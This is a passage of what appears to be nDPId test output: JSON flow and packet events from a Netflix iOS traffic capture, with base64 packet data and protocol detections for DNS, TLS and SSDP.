kxLUFCMERDNDY0ODdBMQ0KUmFuZ2U6IGJ5dGVzPTExMDIyNjktMTQyODQ3Mw0KQWNjZXB0OiAqLyoNClVzZXItQWdlbnQ6IEFwcGxlQ29yZU1lZGlhLzEuMC4wLjE0QzkyIChpUGhvbmU7IFU7IENQVSBPUyAxMF8yIGxpa2UgTWFjIE9TIFg7IGVuX3VzKQ0KQWNjZXB0LUxhbmd1YWdlOiBlbi11cw0KQWNjZXB0LUVuY29kaW5nOiBpZGVudGl0eQ0KQ29ubmVjdGlvbjoga2VlcC1hbGl2ZQ0KDQo="} +01202{"flow_id":52,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4225,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319091,"pkt_ts_usec":379406,"pkt_caplen":643,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":643,"pkt_l4_len":609,"pkt":"5JjWH70UgCqoTGHMCABFIAJ1AABAADsGWDEX9guNwKgBBwBQz+Fssw3jwIA6FIAQCALw9QAAAQEICv0+QukfZZOPSFRUUC8xLjEgMjA2IFBhcnRpYWwgQ29udGVudA0KU2VydmVyOiBuZ2lueA0KRGF0ZTogRnJpLCAxMyBKYW4gMjAxNyAxNDo1MTozMSBHTVQNCkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtDQpDb250ZW50LUxlbmd0aDogMzI2MjA1DQpMYXN0LU1vZGlmaWVkOiBNb24sIDE0IERlYyAyMDE1IDEwOjU5OjU3IEdNVA0KQ29ubmVjdGlvbjoga2VlcC1hbGl2ZQ0KQ2FjaGUtQ29udHJvbDogbm8tc3RvcmUNClByYWdtYTogbm8tY2FjaGUNCkFjY2Vzcy1Db250cm9sLUFsbG93LU9yaWdpbjogKg0KQWNjZXNzLUNvbnRyb2wtRXhwb3NlLUhlYWRlcnM6IFgtVENQLUluZm8sWC1TZXNzaW9uLUluZm8NClgtVENQLUluZm86IGgwPTI0MTQwMTk2Njc7aDE9MTQyMTUyNDIwOTtoMj0yNjIxMzg1NTQ7aDM9NTgyMzc1MTMyO2g0PTc0NDQ3MjExNDsNClgtU2Vzc2lvbi1JbmZvOiBhZGRyPTczLjIwMy4xMDcuMjM7cG9ydD01MzIxNzthcmdwPTYuc05jMERYU2Y4VEhFM2Y0eThWdU5sa1RITHNFblExQ0tja0M3dXN3MnZiQQ0KQ29udGVudC1SYW5nZTogYnl0ZXMgMTEwMjI2OS0xNDI4NDczLzY4Mzk0NTQxDQoNCg=="} +02366{"flow_id":52,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4226,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319091,"pkt_ts_usec":381446,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"5JjWH70UgCqoTGHMCABFIAXcAABAADsGVMoX9guNwKgBBwBQz+FssxAkwIA6FIAQCAKcLgAAAQEICv0+QusfZZOPAAAHe21vb2YAAAAQbWZoZAAAAAAAAAAQAAAHY3RyYWYAAAAUdGZoZAACACAAAAACAaEAAAAAABR0ZmR0AQAAAAAAAAAR5jbgAAAAQXNhaXoAAAAAAAAAADAcFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYAAAAYc2FpbwEAAAAAAAABAAAAAAAAAxkAAAJYdHJ1bgAACwUAAAAwAAAHgwJgAAAABl07AAA2pgAGXTsABl08AAAE8gAMuncABl07AAAA\/QAAAAAABl07AAAI0AAMuncABl08AAAAywAAAAAABl07AAAIwQAMuncABl07AAABOwAAAAAABl08AAAJSwAMuncABl07AAABSgAAAAAABl07AAAH5gAMuncABl08AAABNwAAAAAABl07AAAIKQAMuncABl07AAABGAAAAAAABl08AAAIrwAMuncABl07AAABJQAAAAAABl07AAAJcAAMuncABl08AAABFAAAAAAABl07AAAI3AAMuncABl07AAAA8AAAAAAABl08AAAIFQAMuncABl07AAABGQAAAAAABl07AAAIPgAMuncABl08AAABHAAAAAAABl07AAAIQAAMuncABl07AAABGQAAAAAABl08AAAILwAMuncABl07AAAA3gAAAAAABl07AAAIdQAMuncABl08AAAA8gAAAAAABl07AAAIyAAMuncABl07AAAAzQAAAAAABl08AAAIrwAMuncABl07AAABEgAAAAAABl07AAAJMQAMuncABl08AAABAQAAAAAABl07AAAJoAAMuncABl07AAAA9gAAAAAABl08AAAI4QAMuncABl07AAABHwAAAAAABl07AAAJcAAMuncABl08AAABQwAAAAAABl07AAAGOQAMuncABl07AAABDQAAAAAABl08AAAG2AAMuncABl07AAABEAAAAAAABl07AAAFbQATF7IABl08AAABwwAAAAAABl07AAABgwAAAAAAAARGdXVpZKI5T1Jam08UokRsQnxkjfQAAAACAAAAMESe5GVoj1rQAAMABQAAAAgABQAAAAYABQAANolEnuRlaI9a0QACAAUAAAAGAAUAAATiRJ7kZWiPWtIAAgAFAAAABgAFAAAA7USe5GVoj1rTAAIABQAAAAYABQAACMBEnuRlaI9a1AACAAUAAAAGAAUAAAC7RJ7kZWiPWtUAAgAFAAAABgAFAAAIsUSe5GVoj1rWAAIABQAAAAYABQAAAStEnuRlaI9a1wACAAUAAAAGAAUAAAk7RJ7kZWiPWtgAAgAFAAAABgAFAAABOkSe5GVoj1rZAAIABQAAAAYABQAAB9ZEnuRlaI9a2gACAAUAAAAGAAUAAAEnRJ7kZWiPWtsAAgAFAAAABgAFAAAIGUSe5GVoj1rcAAIABQAAAAYABQAAAQhEnuRlaI9a3QACAAUAAAAGAAUAAAifRJ7kZWiPWt4AAgAFAAAABgAFAAABFUSe5GVoj1rfAAIABQAAAAYABQAACWBEnuRlaI9a4AACAAUAAAAGAAUAAAEERJ7kZWiPWuEAAgAFAAAABgAFAAAIzESe5GVoj1riAAIABQAAAAYABQAAAOBEnuRlaI9a4wACAAUAAAAGAAUAAAgFRJ7kZWiPWuQAAgAFAAAABgAFAAABCUSe5GVoj1rlAAIABQAAAAYABQAACC5EnuRlaI9a5gACAAUAAAAGAAUAAAEMRJ7kZWiPWucAAgAFAAAABgAFAAAIMESe5GVoj1roAAIABQAAAAYABQAAAQlEnuRlaI9a6QACAAUAAAAGAAUAAAgfRJ7kZWiPWuoAAgAFAAAABgAFAAAAzkSe5GVoj1rrAAIABQAAAAYABQAACGVEnuRlaI9a7AACAAUAAAAGAAUAAADiRJ7kZWiPWu0AAgA="} +00429{"flow_id":52,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4227,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319091,"pkt_ts_usec":383360,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA0nAxAAEAGuYXAqAEHF\/YLjc\/hAFDAgDoUbLMVzIAQD9JBQAAAAQEICh9lk6X9PkLp"} +02391{"flow_id":52,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4228,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319091,"pkt_ts_usec":384638,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"5JjWH70UgCqoTGHMCABFIAXcAAFAADsGVMkX9guNwKgBBwBQz+FssxXMwIA6FIAQCAIXLQAAAQEICv0+QusfZZOPBQAAAAYABQAACLhEnuRlaI9a7gACAAUAAAAGAAUAAAC9RJ7kZWiPWu8AAgAFAAAABgAFAAAIn0Se5GVoj1rwAAIABQAAAAYABQAAAQJEnuRlaI9a8QACAAUAAAAGAAUAAAkhRJ7kZWiPWvIAAgAFAAAABgAFAAAA8USe5GVoj1rzAAIABQAAAAYABQAACZBEnuRlaI9a9AACAAUAAAAGAAUAAADmRJ7kZWiPWvUAAgAFAAAABgAFAAAI0USe5GVoj1r2AAIABQAAAAYABQAAAQ9EnuRlaI9a9wACAAUAAAAGAAUAAAlgRJ7kZWiPWvgAAgAFAAAABgAFAAABM0Se5GVoj1r5AAIABQAAAAYABQAABilEnuRlaI9a+gACAAUAAAAGAAUAAAD9RJ7kZWiPWvsAAgAFAAAABgAFAAAGyESe5GVoj1r8AAIABQAAAAYABQAAAQBEnuRlaI9a\/QACAAUAAAAGAAUAAAVdRJ7kZWiPWv4AAgAFAAAABgAFAAABs0Se5GVoj1r\/AAIABQAAAAYABQAAAXMAAAA8c2R0cAAAAAAmFhoWGhYaFhoWGhYaFhoWGhYaFhoWGhYaFhoWGhYaFhoWGhYaFhoWGhYaFhoWGhoAAQ5SbWRhdAAAAAkGvdmwxANWquAAAAAHBs+O1LyAkAAANopl\/sKFal4ZPhL+R0Gs6ifNtEPJ0MlfbRCmHSPUKGBiXYpAXLwpY\/aHtGy80zy3VTN8BHNATXdsR+5KpQNu+kOkcSeLEDpwA3u1ApSY2Hszwq+05DQGlAkJVEphl1m8mFQwiLZmYyihE55h3HWu4MREoS1N8s\/\/nLowHZsSEA36NAhNEDZwP27nsw+R9Fcf\/IvYmycibRwuUgHOm+oJOHrch\/Bo2MTDwk9IY7EWYXma+asf5fSBZlfQKKrPMq8Q4TvTxx08qaDlzoaQnT35Y4dPl8Yo1PFK557y\/gvDnTSfFwznOM5w8S8NSX6JudCm52MWEKKL9B7QNJGvxX7AU\/UOTKrTGjB7cmR8AZ5hOxoM5uu2W17FEShBvGqw0jfCfklrKwZfA4ZwZo6nL7nUIv5gxI\/n8cSthoqUuifDA5ZvY5lgtR0h159Ds2bObbD1GY8AJY+3g8Dw6o\/rpNK4TchoKbnmNe+969EmjC7rCZEwdZnPN\/6AyTuv6m5bbwLF\/hW3V04mkpAShx9U2GsmJ233\/9stz1KMAmL7RR7O+QbiHOsyIZCDuX21BRSTpzp4EdSjtCzJClgU2ZzVq8MS8b\/8GCb2hiWJY6DKMAJ\/hxFiPfHqqp1bXGDUAH\/O9BX\/B4EnnJlDi9zp\/ALkQoifsNZ77EqTpi3s3NssZkXHN8sksq+PhKlqrF0cuG7h9og6GcLUX1rt66XUEtzbacxgCaxC7QcENg2IM83OWeZUoKr0bw3yi+\/IKRRHlLZWmIpnBKf0+wcMOnm7jLJNrUeLVhD1MIuQUxgvfLcqu6ykY1AZ+E7AmQraJpxG6U66a82S04\/bHnj7fHQhXkHvj5keNSPliJjEY9g7vlgAy8FZIgCRDbxu3+hM82\/5BjFi1geiMYPp9PQLyypuUtThHizPvYuKnZ8vqdbRwy23jlkfEFCa600peIspAPk0Knlw2L7x7rTJ\/TeQ0WSNnykXHWwAQJ++hqwEvhg8aMXZcbQWHxwJUb7QnazgmOVfveUds5n0VTVYCpxW8ORXuyj9AnGWu1ju7iBZuusI1\/8ocV4Haxy0YYuhs+AkTy3Re3WBH37lPBScZf5FFFaa5IH3RzE5LxrIhp7sAv6EGJBopkXeOBSuU2J5Lxohs8SeyUMuN4VxDV6K0uQSQLQKwa6GVMXPsDaid7kx5d+MfIkVG1rUr1jpCrf6RefmdClDK26Fa8\/KfbAfik3ezPVsTKXH+L2wnUIeGG+eNU36f3PsaU+l6Zrv97A="} +00429{"flow_id":52,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4229,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319091,"pkt_ts_usec":386677,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA0THtAAEAGCRfAqAEHF\/YLjc\/hAFDAgDoUbLMbdIAQEAA7ZQAAAQEICh9lk6j9PkLr"} +00567{"flow_id":10,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4749,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319097,"pkt_ts_usec":907137,"pkt_caplen":164,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":164,"pkt_l4_len":130,"pkt":"AQBef\/\/65JjWH70UCABFAACWoVQAAAERZlnAqAEH7\/\/\/+tIQB2wAggqVTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSE9TVDogMjM5LjI1NS4yNTUuMjUwOjE5MDANCk1BTjogInNzZHA6ZGlzY292ZXIiDQpNWDogMg0KU1Q6IHVybjptZHgtbmV0ZmxpeC1jb206c2VydmljZTp0YXJnZXQ6MA0KDQo="} +00570{"flow_id":10,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4762,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319098,"pkt_ts_usec":14382,"pkt_caplen":167,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":167,"pkt_l4_len":133,"pkt":"AQBef\/\/65JjWH70UCABFAACZtvoAAAERULDAqAEH7\/\/\/+tIQB2wAhUYzTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSE9TVDogMjM5LjI1NS4yNTUuMjUwOjE5MDANCk1BTjogInNzZHA6ZGlzY292ZXIiDQpNWDogMg0KU1Q6IHVybjpkaWFsLW11bHRpc2NyZWVuLW9yZzpzZXJ2aWNlOmRpYWw6MQ0KDQo="} +00491{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":5060,"source":"netflix.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":25,"flow_first_seen":1484319032896,"flow_last_seen":1484319033215,"flow_tot_l4_data_len":7366,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":294,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"54.191.17.51","src_port":53114,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00493{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":6075,"source":"netflix.pcap","alias":"nDPId-test","flow_id":30,"flow_packet_id":31,"flow_first_seen":1484319049684,"flow_last_seen":1484319050696,"flow_tot_l4_data_len":13654,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":440,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"54.191.17.51","src_port":53162,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00567{"flow_id":10,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6252,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319112,"pkt_ts_usec":903898,"pkt_caplen":164,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":164,"pkt_l4_len":130,"pkt":"AQBef\/\/65JjWH70UCABFAACWW90AAAERq9DAqAEH7\/\/\/+tIQB2wAggqVTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSE9TVDogMjM5LjI1NS4yNTUuMjUwOjE5MDANCk1BTjogInNzZHA6ZGlzY292ZXIiDQpNWDogMg0KU1Q6IHVybjptZHgtbmV0ZmxpeC1jb206c2VydmljZTp0YXJnZXQ6MA0KDQo="} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6397,"source":"netflix.pcap","alias":"nDPId-test","flow_id":53,"flow_packet_id":1,"flow_first_seen":1484319114365,"flow_last_seen":0,"flow_tot_l4_data_len":46,"flow_min_l4_data_len":46,"flow_max_l4_data_len":46,"flow_avg_l4_data_len":46,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"192.168.1.1","src_port":51622,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00446{"flow_id":53,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6397,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319114,"pkt_ts_usec":365279,"pkt_caplen":80,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":80,"pkt_l4_len":46,"pkt":"gCqoTGHM5JjWH70UCABFAABCZ6UAAEARj63AqAEHwKgBAcmmADUALqajKFkBAAABAAAAAAAAA2lvcwRuY2NwB25ldGZsaXgDY29tAAABAAE="} +00638{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":6397,"source":"netflix.pcap","alias":"nDPId-test","flow_id":53,"flow_packet_id":1,"flow_first_seen":1484319114365,"flow_last_seen":0,"flow_tot_l4_data_len":46,"flow_min_l4_data_len":46,"flow_max_l4_data_len":46,"flow_avg_l4_data_len":46,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"192.168.1.1","src_port":51622,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.NetFlix","breed":"Fun","category":"Video"},"dns": {"query":"ios.nccp.netflix.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00446{"flow_id":53,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6398,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319114,"pkt_ts_usec":365513,"pkt_caplen":80,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":80,"pkt_l4_len":46,"pkt":"gCqoTGHM5JjWH70UCABFAABCN7AAAEARv6LAqAEHwKgBAcmmADUALiWYqUkBAAABAAAAAAAAA2lvcwRuY2NwB25ldGZsaXgDY29tAAAcAAE="} +00659{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":6398,"source":"netflix.pcap","alias":"nDPId-test","flow_id":53,"flow_packet_id":2,"flow_first_seen":1484319114365,"flow_last_seen":1484319114365,"flow_tot_l4_data_len":92,"flow_min_l4_data_len":46,"flow_max_l4_data_len":46,"flow_avg_l4_data_len":46,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"192.168.1.1","src_port":51622,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.NetFlix","breed":"Fun","category":"Video"},"dns": {"query":"ios.nccp.netflix.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":28,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00709{"flow_id":53,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6401,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319114,"pkt_ts_usec":384308,"pkt_caplen":275,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":275,"pkt_l4_len":241,"pkt":"5JjWH70UgCqoTGHMCABFAAEF4UpAAEAR1UTAqAEBwKgBBwA1yaYA8aaTKFmBgAABAAoAAAAAA2lvcwRuY2NwB25ldGZsaXgDY29tAAABAAHADAAFAAEAAAAhAA8DaW9zBG5jY3ADZ2VvwBXAMgAFAAEAAAEXABwDaW9zBG5jY3AJdXMtd2VzdC0yBnByb2RhYcAVwE0AAQABAAAALwAENCAW1sBNAAEAAQAAAC8ABDQiMaPATQABAAEAAAAvAAQ0GyTuwE0AAQABAAAALwAENCJwJsBNAAEAAQAAAC8ABDQi04bATQABAAEAAAAvAAQ0GRpcwE0AAQABAAAALwAENCDSq8BNAAEAAQAAAC8ABDQi5lM="} +00668{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":6401,"source":"netflix.pcap","alias":"nDPId-test","flow_id":53,"flow_packet_id":3,"flow_first_seen":1484319114365,"flow_last_seen":1484319114384,"flow_tot_l4_data_len":333,"flow_min_l4_data_len":46,"flow_max_l4_data_len":241,"flow_avg_l4_data_len":111,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"192.168.1.1","src_port":51622,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.NetFlix","breed":"Fun","category":"Video"},"dns": {"query":"ios.nccp.netflix.com","num_queries":1,"num_answers":10,"reply_code":0,"query_type":28,"rsp_type":1,"rsp_addr":"52.32.22.214"}} +00837{"flow_id":53,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6403,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319114,"pkt_ts_usec":400480,"pkt_caplen":371,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":371,"pkt_l4_len":337,"pkt":"5JjWH70UgCqoTGHMCABFAAFl4UtAAEAR1OPAqAEBwKgBBwA1yaYBUaZKqUmBgAABAAoAAAAAA2lvcwRuY2NwB25ldGZsaXgDY29tAAAcAAHADAAFAAEAAAAdAA8DaW9zBG5jY3ADZ2VvwBXAMgAFAAEAAAEZABwDaW9zBG5jY3AJdXMtd2VzdC0yBnByb2RhYcAVwE0AHAABAAAALQAQJiABCHAPAAAAAAAANpUfRMBNABwAAQAAAC0AECYgAQhwDwAAAAAAADaVT4rATQAcAAEAAAAtABAmIAEIcA8AAAAAAAA2uidXwE0AHAABAAAALQAQJiABCHAPAAAAAAAANroXx8BNABwAAQAAAC0AECYgAQhwDwAAAAAAADZE0xXATQAcAAEAAAAtABAmIAEIcA8AAAAAAAA2ummQwE0AHAABAAAALQAQJiABCHAPAAAAAAAANkTCZ8BNABwAAQAAAC0AECYgAQhwDwAAAAAAADa6im8="} +00666{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":6403,"source":"netflix.pcap","alias":"nDPId-test","flow_id":53,"flow_packet_id":4,"flow_first_seen":1484319114365,"flow_last_seen":1484319114400,"flow_tot_l4_data_len":670,"flow_min_l4_data_len":46,"flow_max_l4_data_len":337,"flow_avg_l4_data_len":167,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"192.168.1.1","src_port":51622,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.NetFlix","breed":"Fun","category":"Video"},"dns": {"query":"ios.nccp.netflix.com","num_queries":1,"num_answers":10,"reply_code":0,"query_type":28,"rsp_type":28,"rsp_addr":"38.32.1.8"}} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6406,"source":"netflix.pcap","alias":"nDPId-test","flow_id":54,"flow_packet_id":1,"flow_first_seen":1484319114406,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"52.32.22.214","src_port":53238,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00446{"flow_id":54,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6406,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319114,"pkt_ts_usec":406347,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"gCqoTGHM5JjWH70UCABFAABAaktAAEAGw8fAqAEHNCAW1s\/2Abt+TgYJAAAAALAC\/\/\/LHgAAAgQFtAEDAwUBAQgKH2XpygAAAAAEAgAA"} +00439{"flow_id":54,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6412,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319114,"pkt_ts_usec":455348,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"5JjWH70UgCqoTGHMCABFIAA8AABAACkGRPc0IBbWwKgBBwG7z\/ZJSmsOfk4GCqASOJAVRAAAAgQFtAQCCAq2sSMxH2XpygEDAwg="} +00427{"flow_id":54,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6414,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319114,"pkt_ts_usec":457327,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA03p5AAEAGT4DAqAEHNCAW1s\/2Abt+TgYKSUprD4AQEBVsWgAAAQEICh9l6fy2sSMx"} +01124{"flow_id":54,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6416,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319114,"pkt_ts_usec":464321,"pkt_caplen":583,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":583,"pkt_l4_len":549,"pkt":"gCqoTGHM5JjWH70UCABFAAI5Y7ZAAEAGyGPAqAEHNCAW1s\/2Abt+TgYKSUprD4AYEBXEQwAAAQEICh9l6gK2sSMxFgMBAgABAAH8AwPYD50dwaa6SBFM+FER3hNsABrlY\/SCFZdiIuSkbU7v5QAAtsAwwCzAKMAkwBTACgClAKMAoQCfAGsAagBpAGgAOQA4ADcANgCIAIcAhgCFwDLALsAqwCbAD8AFAJ0APQA1AITAL8ArwCfAI8ATwAkApACiAKAAngBnAEAAPwA+ADMAMgAxADAAmgCZAJgAlwBFAEQAQwBCwDHALcApwCXADsAEAJwAPAAvAJYAQQAHwBHAB8AMwAIABQAEwBLACAAWABMAEAANwA3AAwAKABUAEgAPAAwACQD\/AQABHQAAABkAFwAAFGlvcy5uY2NwLm5ldGZsaXguY29tAAsABAMAAQIACgAcABoAFwAZABwAGwAYABoAFgAOAA0ACwAMAAkACgANACAAHgYBBgIGAwUBBQIFAwQBBAIEAwMBAwIDAwIBAgICAwAPAAEBABUAqwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00762{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":6416,"source":"netflix.pcap","alias":"nDPId-test","flow_id":54,"flow_packet_id":4,"flow_first_seen":1484319114406,"flow_last_seen":1484319114464,"flow_tot_l4_data_len":665,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":166,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"52.32.22.214","src_port":53238,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.NetFlix","breed":"Fun","category":"Video"},"tls": {"version":"TLSv1.2","client_requested_server_name":"ios.nccp.netflix.com","ja3":"dc67ac8aaf8d7f69ecd6598135448f24","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00428{"flow_id":54,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6422,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319114,"pkt_ts_usec":523056,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"5JjWH70UgCqoTGHMCABFIAA0SDFAACkG\/M00IBbWwKgBBwG7z\/ZJSmsPfk4ID4AQAD16GQAAAQEICraxIz8fZeoC"} +02378{"flow_id":54,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6423,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319114,"pkt_ts_usec":523585,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"5JjWH70UgCqoTGHMCABFIAXcSDJAACkG9yQ0IBbWwKgBBwG7z\/ZJSmsPfk4ID4AQAD0IYwAAAQEICraxI0AfZeoCFgMDAFkCAABVAwNYeOmK8SBk3KHuvbRKgwo5E45ZSaJnCxP8mfMaFbW56SD\/36FYeM6O+SyroEDtwTIirHDv4XlZMEkpI4yJ686a6MAvAAAN\/wEAAQAACwAEAwABAhYDAwgiCwAIHgAIGwAEIDCCBBwwggMEoAMCAQICAhObMA0GCSqGSIb3DQEBCwUAMIGZMS0wKwYDVQQDEyRQcmltYXJ5IENlcnRpZmljYXRlIEF1dGhvcml0eSAoMjAwOSkxEzARBgNVBAgTCkNhbGlmb3JuaWExCzAJBgNVBAYTAlVTMRQwEgYDVQQKEwtOZXRmbGl4IEluYzEcMBoGA1UECxMTRWxlY3Ryb25pYyBEZWxpdmVyeTESMBAGA1UEBxMJTG9zIEdhdG9zMB4XDTAxMDExNzIwMzIwOVoXDTE4MDMyNDIwMzIwOVowgYAxGzAZBgNVBAMMEioubmNjcC5uZXRmbGl4LmNvbTEWMBQGA1UECgwNTmV0ZmxpeC